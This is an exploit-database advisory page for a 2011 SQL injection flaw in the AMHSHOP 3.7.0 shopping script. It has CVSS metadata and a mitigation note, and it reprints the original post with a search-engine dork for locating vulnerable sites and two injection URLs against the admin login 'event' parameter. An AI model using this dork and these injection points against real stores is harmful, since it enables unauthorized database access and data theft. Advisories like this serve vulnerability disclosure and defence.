AMHSHOP 3.7.0 SQL Injection

vendor:

AMHSHOP 3.7.0

by:

Yassin Aboukir

7.5

CVSS

HIGH

SQL Injection

CWE

Product Name: AMHSHOP 3.7.0

Affected Version From: v3.7.0

Affected Version To: v3.7.0

Patch Exists: YES

Related CWE: N/A

CPE: N/A

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: Windows Vista, Windows XP, Windows 7

2011

AMHSHOP 3.7.0 SQL Injection

AMHSHOP 3.7.0 is an Arabic Shopping Script that is vulnerable to a SQL Injection vulnerability. An attacker can exploit this vulnerability by sending a crafted SQL query to the vulnerable application. This can allow the attacker to gain access to sensitive information stored in the database.

Mitigation:

Developers should ensure that user-supplied input is properly sanitized and validated before being used in SQL queries.

Source

Exploit-DB raw data:

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
[+] Title            : AMHSHOP 3.7.0 SQL Injection
[+] Name             : AMHSHOP 3.7.0
[+] Affected Version : v3.7.0
[+] Description      : it's an arabic Shopping Script [Payable]
[+] Software         : http://amhserver.com/37/ & http://www.metjar.com/
[+] Tested on        : (L):Vista & Windows Xp and Windows 7
[+] Dork             : Powered by AMHSHOP 3.7.0
[+] Date             : 14/06/2011
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
[+] Author           : Yassin Aboukir
[+] Contact          : 01Xp01@Gmail.com
[+] Site             : http://www.yaboukir.com
[+] Greetz           : Th3 uNkn0wnS Team ! & All My friends 
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
[+] Error:
            MySQL

           * Error: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''users_login_forgotpassword'' AND user_id = '' LIMIT 1' at line 1
           * Error Number:1064
           * SQL: SELECT restricted FROM userspermission WHERE page = 'users_login_forgotpassword'' AND user_id = '' LIMIT 1 



# we had contacted the owner before and some websites have fixed the bug ;)

[-]   Exploit:-

    # http://[localhost]/Path/admin/index.php?module=users&page=login&event=[SQL]
    # http://[localhost]/Path/admin/index.php?module=users&page=login&event=forgotpassword'


G00D LUCK ALL :)